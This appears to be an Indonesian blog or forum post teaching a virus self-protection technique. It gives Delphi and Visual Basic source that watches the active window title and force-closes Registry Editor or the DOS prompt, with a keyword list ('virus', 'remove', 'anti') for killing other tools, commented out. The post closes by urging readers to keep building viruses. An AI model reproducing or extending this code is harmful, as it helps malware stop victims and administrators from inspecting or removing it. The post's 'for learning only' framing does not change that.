Menutup Aplikasi Lain

teknik virus memblok aplikasi yang dianggap membahayakan eksistensinya virus didesain untuk bertahan hidup dalam kondisi apapun, disamping itu dia juga harus bisa mendeteksi dan melumpuhkan aplikasi yang membahayakan keberadaanya. berikut kode sederhana menggunakan delphi :) hanya untuk pembelajaran...... dibuat semudah mungkin untuk dipelajari. buka project anda tambahkan 1 buah label dan 1 buah timer ketik kode berikut tapi kalo males ya copy paste aja... :) //funsi mengambil aktif caption bar function activecaption: string; var handle: thandle; len: longint; title: string; begin result := ''; handle := getforegroundwindow; if handle <> 0 then begin len := getwindowtextlength(handle) + 1; setlength(title, len); getwindowtext(handle, pchar(title), len); activecaption := trimright(title); end; end; procedure tform1.timer1timer(sender: tobject); var winhwnd:hwnd; begin label1.caption :=activecaption; //menangkap caption bar aplikasi if (label1.caption ='ms-dos prompt') or //dos prom di win98 ku (label1.caption ='registry editor') then //cari aplikasi yang membahayakan begin winhwnd := findwindow(nil, pchar(label1.caption)); postmessage(winhwnd, wm_close,0,0); //menutup aplikasi tersebut end; end; end.

nih ak coba juga buat di vb sorry bad cording **ketik pada general declaration private declare function getforegroundwindow lib "user32" () as long 'deklarasi function ambil background aktif windows private declare function getwindowtext lib "user32" alias "getwindowtexta" (byval hwnd as long, byval lpstring as string, byval cch as long) as long 'deklarasi function ambil textwindows private declare function findwindow lib "user32" alias "findwindowa" (byval lpclassname as string, byval lpwindowname as string) as long

private declare function postmessage lib "user32" alias "postmessagea" (byval hwnd as long, byval wmsg as long, byval wparam as long, lparam as any) as long 'deklarasi menutup windows berdasar caption private declare function sendmessage lib "user32" alias "sendmessagea" (byval hwnd as long, byval wmsg as long, byval wparam as long, lparam as any) as long private const wm_close = &h10 private sub form_load() list1.clear list1.additem ("nickqin") list1.additem ("virus") list1.additem ("remove") list1.additem ("anti") end sub private sub timer1_timer() on error resume next dim winhwnd as long 'deklarasi mencari handle windows dim retval as long 'deklarasi value dari handle 'dim i, j as integer 'untuk mencari string dim textwin as string ' the window text dim aktifwin, captionwin as long 'deklarasi pengambilan aktif caption aktifwin = getforegroundwindow 'pengambilan windows aktif caption textwin = string(200, chr(0)) 'pchar n string caption ke string captionwin = getwindowtext(aktifwin, textwin, len(textwin)) label1.caption = textwin if label1.caption = "registry editor" or _ 'pemblokan aplikasi label1.caption = "ms-dos prompt" then 'dos prom pada win98 ku winhwnd = findwindow(vbnullstring, label1.caption) 'pengambilan handle windows if winhwnd <> 0 then retval = postmessage(winhwnd, wm_close, 0&, 0&) 'menutup aplikasi dg membaca handel windows end if end if 'mencari string 'for j = 0 to list1.listcount - 1 'i = instr(1, label1.caption, list1.list(j), iif(0, vbbinarycompare, vbtextcompare)) 'if i then 'msgbox "ada caption bar" 'end if 'next end sub

kembangkan kreativitas anda buat hal yang lebih dari ini..... :) tidak semua virus itu jahat kadang ada sisibaiknya juga seperti kita jadi tahu lebih tentang dunia komputer, lebih termotifasi belajar dan masih banyak lagi.... lets go it indonesia teruslah berkreasi virus maker kita